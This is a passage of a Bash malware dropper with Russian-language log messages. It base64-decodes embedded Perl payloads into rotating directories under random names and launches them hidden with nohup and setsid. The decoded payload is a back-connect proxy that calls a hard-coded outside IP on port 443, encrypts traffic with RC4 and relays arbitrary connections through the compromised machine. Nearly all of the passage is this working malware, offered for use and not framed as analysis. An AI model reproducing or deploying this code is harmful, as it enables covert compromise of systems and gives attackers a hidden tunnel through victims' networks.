c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #54 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #54 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 55 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNTQnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 